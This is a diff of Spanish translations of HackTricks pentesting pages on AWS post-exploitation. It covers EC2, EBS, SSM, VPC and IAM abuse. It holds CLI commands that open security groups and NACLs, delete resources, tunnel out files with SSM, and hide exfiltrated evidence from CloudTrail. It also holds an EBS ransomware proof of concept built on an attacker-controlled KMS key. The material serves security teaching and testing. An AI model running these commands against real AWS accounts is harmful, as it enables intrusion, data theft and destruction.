-**Impacto potencial:** Exfiltración continua, casi en tiempo real, de los cambios de la tabla a un Kinesis stream controlado por un atacante sin operaciones de lectura directas sobre la tabla. +**Impacto potencial:** Exfiltración continua y casi en tiempo real de los cambios en la tabla hacia un Kinesis stream controlado por el atacante sin realizar operaciones directas de lectura sobre la tabla. + + {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index a0642a33c..fa9f91611 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,10 +1,10 @@ -# AWS - EC2, EBS, SSM & VPC Post Exploitation +# AWS - EC2, EBS, SSM & VPC Post-Explotación {{#include ../../../../banners/hacktricks-training.md}} ## EC2 & VPC -Para más información consulta: +Para más información, consulta: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,8 +12,8 @@ Para más información consulta: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplica el tráfico entrante y saliente para instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias.\ -Este tráfico duplicado suele enviarse a algo como un sistema de detección de intrusos de red (IDS) para su análisis y monitorización. Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible del mismo: +VPC traffic mirroring **duplica el tráfico entrante y saliente de las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado normalmente se enviaría a algo como un sistema de detección de intrusiones de red (IDS) para su análisis y monitorización.\ +Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible de él: Para más información consulta esta página: @@ -21,9 +21,9 @@ Para más información consulta esta página: aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance +### Copiar instancia en ejecución -Las instancias suelen contener algún tipo de información sensible. Hay diferentes maneras de acceder a ellas (consulta [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Sin embargo, otra forma de comprobar qué contienen es **crear una AMI y lanzar una nueva instancia (incluso en tu propia cuenta) a partir de ella**: +Las instancias suelen contener algún tipo de información sensible. Hay diferentes maneras de acceder (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Sin embargo, otra forma de comprobar lo que contienen es **crear una AMI y lanzar una nueva instancia (incluso en tu propia cuenta) a partir de ella**: ```shell # List instances aws ec2 describe-images @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots are backups of volumes**, los cuales normalmente contendrán **información sensible**, por lo tanto revisarlos debería revelar esta información.\ -Si encuentras un **volume without a snapshot** podrías: **Create a snapshot** y realizar las siguientes acciones o simplemente **mount it in an instance** dentro de la cuenta: +**Los snapshots son copias de seguridad de volúmenes**, que normalmente contendrán **información sensible**, por lo que revisarlos debería revelar esta información.\ +Si encuentras un **volumen sin snapshot** podrías: **Crear un snapshot** y realizar las siguientes acciones o simplemente **montarlo en una instancia** dentro de la cuenta: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Esto permite análisis forense offline completo o robo de datos manteniendo la red de la instancia intacta. +Exporta una AMI de EC2 directamente a S3 usando `CreateStoreImageTask` para obtener una imagen de disco raw sin compartir snapshots. Esto permite realizar análisis forense offline completos o el robo de datos dejando la red de la instancia intacta. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Útil cuando el volume de la víctima ya tiene Multi-Attach habilitado dentro de la misma AZ. +Adjunta un volumen Multi-Attach io1/io2 a una segunda instancia y móntalo en solo lectura para extraer datos en vivo sin snapshots. Útil cuando el volumen víctima ya tiene Multi-Attach habilitado en la misma AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Proporciona rutas rápidas para lateral movement sin abrir public ports. +Crea un EC2 Instance Connect Endpoint, autoriza el ingreso e inyecta claves SSH efímeras para acceder a instancias privadas a través de un túnel gestionado. Proporciona rutas rápidas de movimiento lateral sin abrir puertos públicos. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Permite evadir ACLs internas o SG rules ligadas a direcciones específicas. +Mueve la IP privada secundaria de la ENI víctima a una ENI controlada por el atacante para suplantar hosts de confianza que están allowlisted por IP. Permite eludir ACLs internas o reglas de SG vinculadas a direcciones específicas. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. Reasocia un Elastic IP de la instance víctima al atacante para interceptar inbound traffic u originar outbound connections que parezcan provenir de public IPs confiables. +Reasocia un Elastic IP de la instancia víctima al atacante para interceptar tráfico entrante u originar conexiones salientes que aparentan provenir de IPs públicas de confianza. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself. Si una security group rule referencia una customer-managed prefix list, agregar attacker CIDRs a la lista expande silenciosamente el acceso en todas las dependent SG rule sin modificar el SG en sí. +Si una regla de security group referencia una customer-managed prefix list, añadir CIDRs del atacante a la lista expande silenciosamente el acceso a través de todas las reglas de SG dependientes sin modificar el SG en sí. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,15 +106,41 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration. Crea gateway o interface VPC endpoints para recuperar outbound access desde subnets aisladas. Aprovechar AWS-managed private links evita controles IGW/NAT ausentes para data exfiltration. +Crea gateway o interface VPC endpoints para recuperar acceso saliente desde subnets aisladas. Aprovechar los AWS-managed private links evita controles IGW/NAT ausentes para la exfiltración de datos. {{#ref}} aws-vpc-endpoint-egress-bypass.md {{#endref}} +### `ec2:AuthorizeSecurityGroupIngress` + +Un atacante con el permiso ec2:AuthorizeSecurityGroupIngress puede añadir reglas de entrada a security groups (por ejemplo, permitir tcp:80 desde 0.0.0.0/0), exponiendo así servicios internos a Internet pública o a redes no autorizadas. +```bash +aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 +``` +# `ec2:ReplaceNetworkAclEntry` +Un atacante con permisos ec2:ReplaceNetworkAclEntry (o similares) puede modificar los Network ACLs (NACLs) de una subnet para hacerlos muy permisivos — por ejemplo permitiendo 0.0.0.0/0 en puertos críticos — exponiendo todo el rango de la subnet al Internet o a segmentos de red no autorizados. A diferencia de los Security Groups, que se aplican por instancia, los NACLs se aplican a nivel de subnet, por lo que cambiar un NACL restrictivo puede tener un radio de impacto mucho mayor al habilitar acceso a muchos más hosts. +```bash +aws ec2 replace-network-acl-entry \ +--network-acl-id \ +--rule-number 100 \ +--protocol \ +--rule-action allow \ +--egress \ +--cidr-block 0.0.0.0/0 +``` +### `ec2:Delete*` + +Un atacante con permisos ec2:Delete* e iam:Remove* puede eliminar recursos y configuraciones críticas de la infraestructura — por ejemplo key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Esto puede causar interrupción inmediata del servicio, pérdida de datos y pérdida de evidencia forense. + +One example is deleting a security group: + +aws ec2 delete-security-group \ +--group-id + ### VPC Flow Logs Cross-Account Exfiltration -Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance. Apunta VPC Flow Logs a un S3 bucket controlado por el atacante para recopilar continuamente metadatos de red (source/destination, ports) fuera de la cuenta víctima para reconocimiento a largo plazo. +Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -126,28 +152,28 @@ aws-vpc-flow-logs-cross-account-exfiltration.md Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. -- **VPC Flow Logs no registrarán esto**. -- No tienes acceso a AWS DNS logs. -- Desactívalo configurando "enableDnsSupport" a false con: +- **VPC Flow Logs no registrará esto**. +- No tienes acceso a los registros DNS de AWS. +- Desactívalo estableciendo "enableDnsSupport" a false con: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. +Un atacante podría llamar endpoints API de una cuenta controlada por él. CloudTrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los logs de CloudTrail. -### Open Security Group +### Abrir Security Group Podrías obtener más acceso a servicios de red abriendo puertos así: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` -### Privesc a ECS +### Privesc to ECS -Es posible ejecutar una EC2 instance y registrarla para que se utilice para ejecutar ECS instances y luego robar los datos de esas ECS instances. +Es posible ejecutar una instancia EC2 y registrarla para que sea usada para ejecutar instancias ECS y luego robar los datos de las instancias ECS. -Para [**más información, consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). +Para [**más información consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). ### Eliminar VPC flow logs ```bash @@ -159,19 +185,19 @@ Permisos requeridos: - `ssm:StartSession` -Además de la ejecución de comandos, SSM permite la tunelización de tráfico, lo cual puede ser abusado para pivot desde instancias EC2 que no tienen acceso de red debido a Security Groups o NACLs. +Además de la ejecución de comandos, SSM permite traffic tunneling, lo que puede usarse de forma abusiva para pivot desde instancias EC2 que no tienen acceso a la red debido a Security Groups o NACLs. Uno de los escenarios donde esto es útil es pivoting desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster EKS privado. -> Para iniciar una sesión necesitas instalar el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> Para iniciar una sesión necesitas el SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Instala el SessionManagerPlugin en tu máquina -2. Conéctate al Bastion EC2 usando el siguiente comando: +2. Inicia sesión en el Bastion EC2 usando el siguiente comando: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Obtén las credenciales temporales de Bastion EC2 AWS con el script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) -4. Transfiere las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como el perfil `[bastion-ec2]` -5. Inicia sesión en EKS como el Bastion EC2: +3. Obtener las credenciales temporales AWS del Bastion EC2 con el script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +4. Transferir las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como el perfil `[bastion-ec2]` +5. Iniciar sesión en EKS como el Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` @@ -180,43 +206,43 @@ aws eks update-kubeconfig --profile bastion-ec2 --region -- ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del SSM tunnel vía el Bastion EC2 y puedes acceder al EKS cluster privado desde tu propia máquina ejecutando: +8. El tráfico de la herramienta `kubectl` ahora se reenvía por el túnel SSM vía el Bastion EC2 y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Ten en cuenta que las conexiones SSL fallarán a menos que establezcas la bandera `--insecure-skip-tls-verify ` (o su equivalente en las herramientas de auditoría K8s). Al estar el tráfico tunelizado a través del túnel seguro de AWS SSM, estás protegido frente a cualquier tipo de ataques MitM. +Ten en cuenta que las conexiones SSL fallarán a menos que configures la bandera `--insecure-skip-tls-verify` (o su equivalente en herramientas de auditoría K8s). Al estar el tráfico tunelizado a través del túnel seguro AWS SSM, estás protegido contra cualquier tipo de ataques MitM. -Finalmente, esta técnica no es específica para atacar clústeres privados de EKS. Puedes configurar dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada. +Finalmente, esta técnica no es específica para atacar clusters privados EKS. Puedes establecer dominios y puertos arbitrarios para pivotar hacia cualquier otro servicio AWS o una aplicación personalizada. --- -#### Redirección rápida de puerto Local ↔️ Remoto (AWS-StartPortForwardingSession) +#### Reenvío rápido Local ↔️ Remoto de Puertos (AWS-StartPortForwardingSession) -Si solo necesitas reenviar **un puerto TCP desde la instancia EC2 a tu equipo local** puedes usar el documento SSM `AWS-StartPortForwardingSession` (no se requiere parámetro de host remoto): +Si solo necesitas reenviar **un puerto TCP desde la instancia EC2 a tu host local** puedes usar el documento SSM `AWS-StartPortForwardingSession` (no se requiere el parámetro de host remoto): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -El comando establece un túnel bidireccional entre tu estación de trabajo (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instancia **sin abrir ninguna regla de entrada de Security-Group**. +El comando establece un túnel bidireccional entre tu workstation (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instancia **without opening any inbound Security-Group rules**. -Casos de uso comunes: +Common use cases: * **File exfiltration** -1. En la instancia, inicia un servidor HTTP rápido que apunte al directorio que quieras exfiltrar: +1. En la instancia, inicia un servidor HTTP rápido que apunte al directorio que quieres exfiltrar: ```bash python3 -m http.server 8000 ``` -2. Desde tu estación de trabajo, recupera los archivos a través del túnel SSM: +2. Desde tu workstation, descarga los archivos a través del túnel SSM: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Acceso a aplicaciones web internas (p.ej. Nessus)** +* **Accessing internal web applications (e.g. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -224,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Consejo: Comprime y cifra la evidencia antes de exfiltrarla para que CloudTrail no registre el contenido en texto claro: +Consejo: Comprime y cifra la evidencia antes de exfiltrarla para que CloudTrail no registre el contenido en texto plano: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -235,7 +261,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### Buscar información sensible en AMIs públicas y privadas -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instances desde las AMIs objetivo, montar sus volumes y escanear en busca de posibles secrets o datos sensibles. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde las AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secrets o datos sensibles. ### Compartir EBS Snapshot ```bash @@ -243,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Una prueba de concepto similar a la demostración de Ransomware mostrada en las notas de post-explotación de S3. KMS debería renombrarse a RMS para Ransomware Management Service dada la facilidad con la que se puede usar para cifrar varios servicios de AWS. +Una prueba de concepto similar a la demostración de Ransomware mostrada en las notas de post-exploitation de S3. KMS debería renombrarse a RMS (Ransomware Management Service) dada la facilidad con la que se puede usar para cifrar varios servicios de AWS. -Primero, desde una cuenta AWS de 'attacker', crea una customer managed key en KMS. En este ejemplo dejaremos que AWS gestione los datos de la key por mí, pero en un escenario realista un actor malicioso retendría los datos de la key fuera del control de AWS. Cambia la key policy para permitir que cualquier Principal de una cuenta AWS use la key. Para esta key policy, el nombre de la cuenta era 'AttackSim' y la regla de la policy que permite acceso total se llama 'Outside Encryption' +Primero, desde una cuenta AWS de 'attacker', crea una customer managed key en KMS. En este ejemplo dejaremos que AWS gestione los datos de la key por nosotros, pero en un escenario realista un malicious actor retendría los datos de la key fuera del control de AWS. Cambia la key policy para permitir que cualquier AWS account Principal use la key. Para esta key policy, el nombre de la cuenta fue 'AttackSim' y la regla de la policy que permite acceso total se llama 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -337,7 +363,7 @@ Primero, desde una cuenta AWS de 'attacker', crea una customer managed key en KM ] } ``` -La regla de la key policy necesita tener lo siguiente habilitado para permitir la posibilidad de usarla para encriptar un volumen EBS: +La regla de la key policy necesita tener lo siguiente habilitado para permitir usarla para cifrar un volumen EBS: - `kms:CreateGrant` - `kms:Decrypt` @@ -345,21 +371,21 @@ La regla de la key policy necesita tener lo siguiente habilitado para permitir l - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Ahora con la key públicamente accesible para usar. Podemos usar una cuenta 'victim' que tiene algunas instancias EC2 levantadas con volúmenes EBS sin encriptar adjuntos. Los volúmenes EBS de esta cuenta 'victim' son los que estamos apuntando para encriptar; este ataque se realiza bajo la suposición de una brecha de una cuenta AWS de alto privilegio. +Ahora, con la key públicamente accesible para usar. Podemos usar una cuenta 'victim' que tenga algunas instancias EC2 desplegadas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta 'victim' son nuestro objetivo para el cifrado; este ataque se realiza bajo el supuesto compromiso de una cuenta AWS de alto privilegio. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar to the S3 ransomware example. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la key públicamente disponible desde la cuenta 'attacker' para encriptar los nuevos volúmenes EBS, luego desacoplará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará los snapshots usados para crear los nuevos volúmenes EBS encriptados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Similar al ejemplo de S3 ransomware. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la key públicamente disponible de la cuenta 'attacker' para cifrar los nuevos volúmenes EBS, luego desacoplará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará los snapshots usados para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Esto resulta en que solo queden volúmenes EBS encriptados disponibles en la cuenta. +Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -También vale la pena notar que el script detuvo las instancias EC2 para desacoplar y eliminar los volúmenes EBS originales. Los volúmenes originales sin encriptar ya no existen. +También cabe destacar que el script detuvo las instancias EC2 para desacoplar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no existen. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -A continuación, vuelve a la key policy en la cuenta 'attacker' y elimina la regla de política 'Outside Encryption' de la key policy. +A continuación, vuelve a la key policy en la cuenta 'attacker' y elimina la regla de la política 'Outside Encryption' de la key policy. ```json { "Version": "2012-10-17", @@ -430,15 +456,15 @@ A continuación, vuelve a la key policy en la cuenta 'attacker' y elimina la reg ] } ``` -Espera un momento para que la nueva key policy se propague. Luego vuelve a la cuenta 'victim' e intenta adjuntar uno de los volúmenes EBS recién encriptados. Verás que puedes adjuntar el volumen. +Espere un momento a que la política de clave recién establecida se propague. Luego vuelva a la cuenta 'victim' e intente adjuntar uno de los volúmenes EBS recién encriptados. Verá que puede adjuntar el volumen. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Pero cuando intentes arrancar realmente la instancia EC2 con el volumen EBS encriptado, fallará y pasará del estado 'pending' de nuevo al estado 'stopped' de forma indefinida, ya que el volumen EBS adjunto no puede desencriptarse con la key porque la key policy ya no lo permite. +Pero cuando intente arrancar la instancia EC2 con el volumen EBS encriptado, fallará y pasará del estado 'pending' de nuevo a 'stopped' indefinidamente, ya que el volumen EBS adjunto no puede desencriptarse con la clave porque la política de clave ya no lo permite. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Este es el python script utilizado. Toma AWS creds para una cuenta 'victim' y un valor ARN de AWS públicamente disponible para la key que se usará para la encriptación. El script hará copias encriptadas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta AWS objetivo, luego detendrá cada instancia EC2, separará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará únicamente volúmenes EBS encriptados en la cuenta 'victim' objetivo. SOLO USE ESTE SCRIPT EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y BORRARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la KMS key utilizada y restaurarlos a su estado original mediante snapshots, pero quiero que sepas que, al final del día, esto es un ransomware PoC. +Este es el script de python utilizado. Toma credenciales AWS para una cuenta 'victim' y un valor ARN público de AWS para la key que se usará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta 'victim' objetivo. SOLO UTILICE ESTE SCRIPT EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puede recuperarlos usando la KMS key utilizada y restaurarlos a su estado original vía snapshots, pero quería que supiera que al final del día esto es un PoC de ransomware. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md index 38019613b..69779ce12 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -12,13 +12,13 @@ Para más información sobre el acceso IAM: ## Confused Deputy Problem -Si **permites que una cuenta externa (A)** acceda a un **role** en tu cuenta, probablemente tendrás **0 visibilidad** sobre **quién exactamente puede acceder a esa cuenta externa**. Esto es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A), es posible que **B también pueda acceder a tu cuenta**. +Si permites que una cuenta externa (A) acceda a un rol en tu cuenta, probablemente tendrás 0 visibilidad sobre quién exactamente puede acceder a esa cuenta externa. Esto es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A), es posible que B también pueda acceder a tu cuenta. -Por lo tanto, al permitir que una cuenta externa acceda a un role en tu cuenta es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) **debe especificar** para **asumir el role en tu organización**. Como la **cuenta externa B no conocerá esta cadena**, incluso si tiene acceso a A **no podrá acceder a tu role**. +Por lo tanto, al permitir que una cuenta externa acceda a un rol en tu cuenta, es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) necesita especificar para poder asumir el rol en tu organización. Como la cuenta externa B no conocerá esta cadena, incluso si tiene acceso a A no podrá acceder a tu rol.
-Sin embargo, ten en cuenta que este `ExternalId` "secreto" **no es un secreto**, cualquiera que pueda **leer la IAM assume role policy podrá verlo**. Pero mientras la cuenta externa A lo conozca y la cuenta externa **B no lo conozca**, esto **impide que B abuse de A para acceder a tu role**. +Sin embargo, ten en cuenta que este "secreto" `ExternalId` **no es un secreto**: cualquiera que pueda leer la política de assume role de IAM podrá verlo. Pero mientras la cuenta externa A lo conozca y la cuenta externa B no lo conozca, esto evita que B abuse de A para acceder a tu rol. Ejemplo: ```json @@ -39,9 +39,9 @@ Ejemplo: } ``` > [!WARNING] -> Para que un attacker pueda exploit un confused deputy, necesitará averiguar de alguna manera si principals de la current account pueden impersonate roles en other accounts. +> Para que un atacante explote un confused deputy, necesitará averiguar de alguna manera si los principals de la cuenta actual pueden suplantar roles en otras accounts. -### Relaciones de confianza inesperadas +### Confianzas inesperadas #### Wildcard como principal ```json @@ -51,7 +51,7 @@ Ejemplo: "Principal": { "AWS": "*" } } ``` -Esta política **permite que todo AWS** asuma el rol. +Esta política **permite a todo AWS** asumir el rol. #### Servicio como principal ```json @@ -62,7 +62,7 @@ Esta política **permite que todo AWS** asuma el rol. "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Esta política **permite que cualquier cuenta** configure su apigateway para invocar esta Lambda. +Esta política **permite a cualquier cuenta** configurar su apigateway para llamar a esta Lambda. #### S3 como principal ```json @@ -73,7 +73,7 @@ Esta política **permite que cualquier cuenta** configure su apigateway para inv } } ``` -Si un S3 bucket se especifica como principal, dado que los S3 buckets no tienen Account ID, si **deleted your bucket and the attacker created** it en su propia cuenta, entonces podrían abusar de esto. +Si se especifica un S3 bucket como principal, dado que los S3 buckets no tienen Account ID, si **eliminaste tu bucket y el attacker lo creó** en su propia cuenta, entonces podrían abusar de esto. #### No soportado ```json @@ -84,10 +84,10 @@ Si un S3 bucket se especifica como principal, dado que los S3 buckets no tienen "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Una forma común de evitar problemas de Confused Deputy es usar una condición con `AWS:SourceArn` para comprobar el ARN de origen. Sin embargo, **algunos servicios podrían no soportar eso** (como CloudTrail según algunas fuentes). +Una forma común de evitar problemas de Confused Deputy es el uso de una condición con `AWS:SourceArn` para comprobar el ARN de origen. Sin embargo, **algunos servicios podrían no soportarlo** (como CloudTrail según algunas fuentes). ### Eliminación de credenciales -Con cualquiera de los siguientes permisos — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un actor puede eliminar claves de acceso, perfiles de inicio de sesión, claves SSH, credenciales específicas del servicio, perfiles de instancia, certificados o claves públicas de CloudFront, o desasociar roles de los perfiles de instancia. Tales acciones pueden bloquear inmediatamente a usuarios y aplicaciones legítimas y causar denegación de servicio o pérdida de acceso para sistemas que dependen de esas credenciales, por lo que estos permisos de IAM deben estar estrictamente restringidos y monitoreados. +Con cualquiera de los siguientes permisos — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un actor puede eliminar claves de acceso, perfiles de inicio de sesión, claves SSH, credenciales específicas de 